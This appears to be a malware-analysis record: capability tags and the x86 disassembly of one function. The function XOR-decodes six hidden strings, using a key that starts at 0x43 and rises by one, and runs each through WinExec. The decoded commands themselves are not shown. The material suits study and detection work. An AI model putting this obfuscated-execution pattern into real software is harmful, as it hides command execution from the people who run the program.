Function at 0x100bbbd0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
movaps xmm0, xmmword [0x1025bd20]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 8], 0xa0bbb6a3
movaps xmm0, xmmword [0x1025bc20]
movups xmmword [ebp - 0x38], xmm0
mov word [ebp - 4], 0xb6
movaps xmm0, xmmword [0x1025c760]
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 2], 1
movaps xmm0, xmmword [str.8V_XV__S_A]
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 0x45
jb 0x100bbc15
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x48]
push 0
push eax
mov byte [ebp - 2], 0
call esi
movaps xmm0, xmmword [0x1025bd20]
xor ecx, ecx
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0xc], 0xb4a5e8f6
movaps xmm0, xmmword [0x1025bc20]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 8], 0xb8aeb9
movaps xmm0, xmmword [0x1025c980]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 4], 1
movaps xmm0, xmmword [str.QTZ_:XSZT:_Q]
movups xmmword [ebp - 0x1c], xmm0
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0x47
jb 0x100bbc75
push 0
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0
push eax
call esi
movaps xmm0, xmmword [0x1025bd20]
xor ecx, ecx
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x10], 0xf3ebbaa3
movaps xmm0, xmmword [0x1025bc20]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0xc], 0xb4bba8eb
movaps xmm0, xmmword [0x1025bb40]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 8], 0x100bdad
movaps xmm0, xmmword [0x1025d010]
movups xmmword [ebp - 0x20], xmm0
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 0x4a
jb 0x100bbcd1
push 0
lea eax, [ebp - 0x50]
mov byte [ebp - 5], 0
push eax
call esi
movaps xmm0, xmmword [0x1025bc30]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x10], 0x58450b11
movaps xmm0, xmmword [0x1025bca0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0xc], 0x4a051d09
mov dword [ebp - 8], 0x5f4b5259
mov word [ebp - 4], 0x100
nop dword [eax]
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x2c
jb 0x100bbd20
push 0
lea eax, [ebp - 0x30]
mov byte [ebp - 3], 0
push eax
call esi
movaps xmm0, xmmword [0x1025bd20]
xor ecx, ecx
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0xc], 0x5619011d
movaps xmm0, xmmword [str.:89vx]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 8], 0x4b5f4645
movaps xmm0, xmmword [0x1025c530]
movups xmmword [ebp - 0x1c], xmm0
mov word [ebp - 4], 0x100
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 0x38
jb 0x100bbd70
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 3], 0
push eax
call esi
movaps xmm0, xmmword [0x1025ce50]
xor ecx, ecx
movups xmmword [ebp - 0x64], xmm0
mov word [ebp - 4], 0x92
movaps xmm0, xmmword [0x1025c450]
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 2], 1
movaps xmm0, xmmword [0x1025b9d0]
movups xmmword [ebp - 0x44], xmm0
movaps xmm0, xmmword [0x1025d040]
movups xmmword [ebp - 0x34], xmm0
movaps xmm0, xmmword [0x1025d090]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x1025cfb0]
movups xmmword [ebp - 0x14], xmm0
lea eax, [ecx + 0x43]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x61
jb 0x100bbdd7
push 0
lea eax, [ebp - 0x64]
mov byte [ebp - 2], 0
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret